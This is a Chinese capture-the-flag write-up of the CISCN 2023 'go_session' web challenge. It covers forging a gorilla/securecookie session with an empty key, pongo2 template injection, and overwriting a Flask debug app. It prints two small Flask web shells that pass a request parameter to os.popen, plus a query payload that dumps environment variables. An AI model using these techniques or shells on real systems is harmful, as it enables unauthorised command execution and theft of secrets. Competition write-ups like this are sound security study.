[CISCN 2023 初赛]go_session 解题思路&过程

过程

下载题目的附件,是用go的gin框架写的后端,cookie-session是由gorilla/sessions来实现,而sessions库使用了另一个库:gorilla/securecookie来实现对cookie的安全传输。这里所谓的安全传输,是指保证cookie中的值不能被看出来(通过加密实现,可选)、保证传输的cookie不会被篡改。

securecookie的编码函数一共有四个主要步骤来实现这一目的:

  1. 序列化,cookie的值可以有多种形式,首先将其序列化为字节切片,方便后续操作。
  2. 加密(这一步是可选的),使用指定的对称加密方法、加密密钥,进行对value进行加密。
  3. 计算MAC值,以保证不被篡改,这里的MAC是Message Authentication Code的缩写。如何计算呢,通过指定的哈希函数来计算,对上述的加密后的value求一个摘要。
  4. base64编码。
    当解密时,反过来即可,因为上述用于加密的方法与加密密钥、用于认证的哈希方法与哈希密钥,都是在服务器端设置的。准确来说就是由这个securecookie库的SecureCookie接口所规定的,通过加密密钥与认证密钥,保证了cookie不会被解密、不会被篡改的两个目的。
// main.go
func main() {
	r := gin.Default()
	r.GET("/", route.Index)
	r.GET("/admin", route.Admin)
	r.GET("/flask", route.Flask)
	r.Run("0.0.0.0:8000")
}

可以看到存在三个路由。根路由、/admin路路由、/flask路由。以下是根路由对应的处理函数。

// route.go
package route

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
func Index(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		session.Values["name"] = "guest"
		err = session.Save(c.Request, c.Writer)
		if err != nil {
			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
			return
		}
	}
	c.String(200, "Hello, guest")
}

可以看到,这里将判断是否携带了cookie,如果cookie中的name为空,就将其设置为guest。并且有一个细节,无论是否是管理员,根路由永远都会返回Hello, guest。

// route.go /admin路由
func Admin(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] != "admin" {
		http.Error(c.Writer, "N0", http.StatusInternalServerError)
		return
	}
	name := c.DefaultQuery("name", "ssti")
	xssWaf := html.EscapeString(name)
	tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
	if err != nil {
		panic(err)
	}
	out, err := tpl.Execute(pongo2.Context{"c": c})
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	c.String(200, out)
}

/admin路由,获取session中的name的值,若不为admin则后续无法进行,因此需要过的第一关是对session进行伪造。后续是pongo2的ssti。

上面通过获取环境变量中的SESSION_KEY来获取生成securecookie。只能对SESSION_KEY进行猜测,猜测并未设置SESSION_KEY。在本地运行程序,将SESSION_KEY置为空从而伪造cookie。接下来查看/flask路由:

//route.go /flask路由
func Flask(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		if err != nil {
			http.Error(c.Writer, "N0", http.StatusInternalServerError)
			return
		}
	}
	resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
	if err != nil {
		return
	}
	defer resp.Body.Close()
	body, _ := io.ReadAll(resp.Body)

	c.String(200, string(body))
}

查询访问flask路由时name参数的值,并将其拼接至"http://127.0.0.1:5000/"之后。通过伪造的cookie,拼接一个/,引发报错并拿到源码。

from flask import Flask,request
app = Flask(__name__)


@app.route('/')
def index():
    name = request.args['name']
    return name + 'no ssti'


if __name__== "__main__":
    app.run(host="127.0.0.1",port=5000,debug=True)

flask开启了debug模式是支持热更新的,因此尝试通过ssti写文件,覆盖掉flask的py文件,从而rce。看到了两位师傅关于最后覆盖原flask文件获取flag的代码,我用的nss的环境,没找到flag,最后用的第二种方式,通过payload/flask?name=%3fname=env拿到flag。不过我还没明白原理是什么

flag写在了环境变量中,因此通过第二种方式读取环境变量拿flag。例如这是在我本地执行相关代码(环境变量进行了打码):
[CISCN 2023 初赛]go_session 解题思路&过程_第1张图片

# 1 py常用的rce的方式
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/shell')
def shell():
    cmd = request.args.get('cmd')
    if cmd:
        return os.popen(cmd).read()
    else:
        return 'shell'
    
if __name__== "__main__":
    app.run(host="127.0.0.1",port=5000,debug=True)

# 2 获取环境变量中的值
from flask import *
import os
app = Flask(__name__)


@app.route('/')
def index():
    name = request.args['name']
    file=os.popen(name).read()
    return file


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)

acquisition

  1. gorilla的securecookie库
  2. pongo2的ssti
  3. flag在环境变量中时,获取py环境变量的方式

reference

https://github.com/gorilla/securecookie
https://www.lewiserii.top/%E7%AB%9E%E8%B5%9B/2023ciscn%E5%88%9D%E8%B5%9Bwp.html
https://exp10it.cn/2023/05/2023-ciscn-%E5%88%9D%E8%B5%9B-web-writeup/

你可能感兴趣的:(CTF刷题,golang,开发语言,网络安全)